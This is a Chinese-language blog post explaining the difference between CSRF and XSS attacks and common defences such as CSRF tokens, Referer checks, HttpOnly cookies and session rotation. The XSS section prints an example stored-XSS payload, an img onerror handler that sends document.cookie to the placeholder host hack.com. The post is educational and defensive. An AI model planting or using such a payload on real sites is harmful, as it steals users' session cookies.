同源跨域登錄?數據信息安全這是你需要了解的

CSRF和XSS區別和預防

名詞解釋

CSRF(Cross-site request forgery)跨站請求僞造

XSS (Cross-site scripting)跨站腳本攻擊,這裏縮寫css被前端層疊樣式表(Cascading Style Sheets)佔用了,爲了區分就叫了xss。

攻擊手段描述

  • CSRF

攻擊場景描述:假設你登陸了a網站,此時你又打開了b網站的某個頁面,b網站的某個頁面上有一段代碼,可能是一個自提交的表單,表單的action是a網站,這樣b網站就模擬了你的身份,向a網站發送了一個請求。

CSRF的攻擊特點是僞造其他網站的操作,冒用身份比如利用cookie僞造登錄憑證,不是竊取cookie,

攻擊可達到的後果:可以模擬你在a網站的所有操作,並且操作發生在你使用的瀏覽器,和你自己操作沒有區別,比較著名的有利用gmailCSRF漏洞竊取用戶郵件。

  • XSS

攻擊場景描述:屬於注入攻擊的一種。兩個用戶a和b,a在某網站上發表了一篇文章,其中包含了一串js代碼,比如說代碼如下:

<p>
    這裏顯示摘要內容,用戶可以輸入各種文本及圖片
    <img style="display:none" src="null" onerror="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();"
</p>


如果網站沒有做任何處理,直接存儲發表了這個文章,用戶b等查看這篇文章的時候,這段代碼就可以在用戶b沒有感知的情況下,竊取到b的cookie併發送到a的服務器,以用於某些不良目的

攻擊可達到的後果:竊取用戶cookie,損害/控制用戶電腦做出某些行爲,模擬用戶操作等。。xss的攻擊如果成功,一般來說是可以造成很嚴重後果的,因爲對方相當於直接控制了你的操作,並做出一些你自己不會做的事情,CSRF相對來說,只是模擬了操作,還是受到服務提供者限制的。

解決方案

  • CSRF

對於跨站請求僞造,最重要的就是區分訪問源頭。因爲發生在其他人的網站,防止攻擊來源的產生是不可能的,只能從提升自己網站的甄別度來解決。
常用的解決方案:

  1. 有每一個表單都帶有一個CSRF令牌(CSRF TOKEN),後端驗證沒有令牌的直接被拒絕,這裏的令牌需要和會話綁定更能確保安全性,尤其是不要提供獲取CSRF令牌的接口,否則就形同虛設了。
  2. 驗證 HTTP Referer 字段
  3. 驗證碼(現在基本大型網站重要的操作都會進行驗證,甚至是手機驗證碼驗證來保障安全)
  • XSS

網站不應該信任用戶輸入的內容,應對用戶輸入內容進行處理,過濾任何有執行能力的腳本或者影響頁面的CSS,保證其他用戶訪問頁面的安全。具體針對每種語言都有相應的處理機制和工具。一般各種後端框架都封裝或者提供相關插件處理。

  1. 給Cookie添加HttpOnly屬性, 使cookie只能在http請求中傳遞, 像是上面那個腳本中 document.cookie無法獲取到該Cookie值. 對XSS的攻擊, 有一定的防禦值. 但是對網絡攔截, 還是泄露了.

  2. 在cookie中綁定用戶網絡信息等環境值,比如ip,user agent等,並在服務端校驗. 這樣當cookie被人劫持了, 並冒用, 但是在服務器端校驗的時候, 發現校驗值發生了變化, 去規避cookie劫持

  3. cookie中session id的定時更換, 可以一定程度減少攻擊帶來的損害,並不能避免攻擊產生。

  4.  

題外話

如果XSS和CSRF配合是不是更難防禦呢,比如a用戶訪問網站blog.com,發表了一篇文章,其中並沒有插入腳本,只是插入了一個img標籤,超鏈接爲hacker.com網站的一個網址,這個網址打開以後是一個CSRF的頁面。。。

希望大家多評論交流,互相學習

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章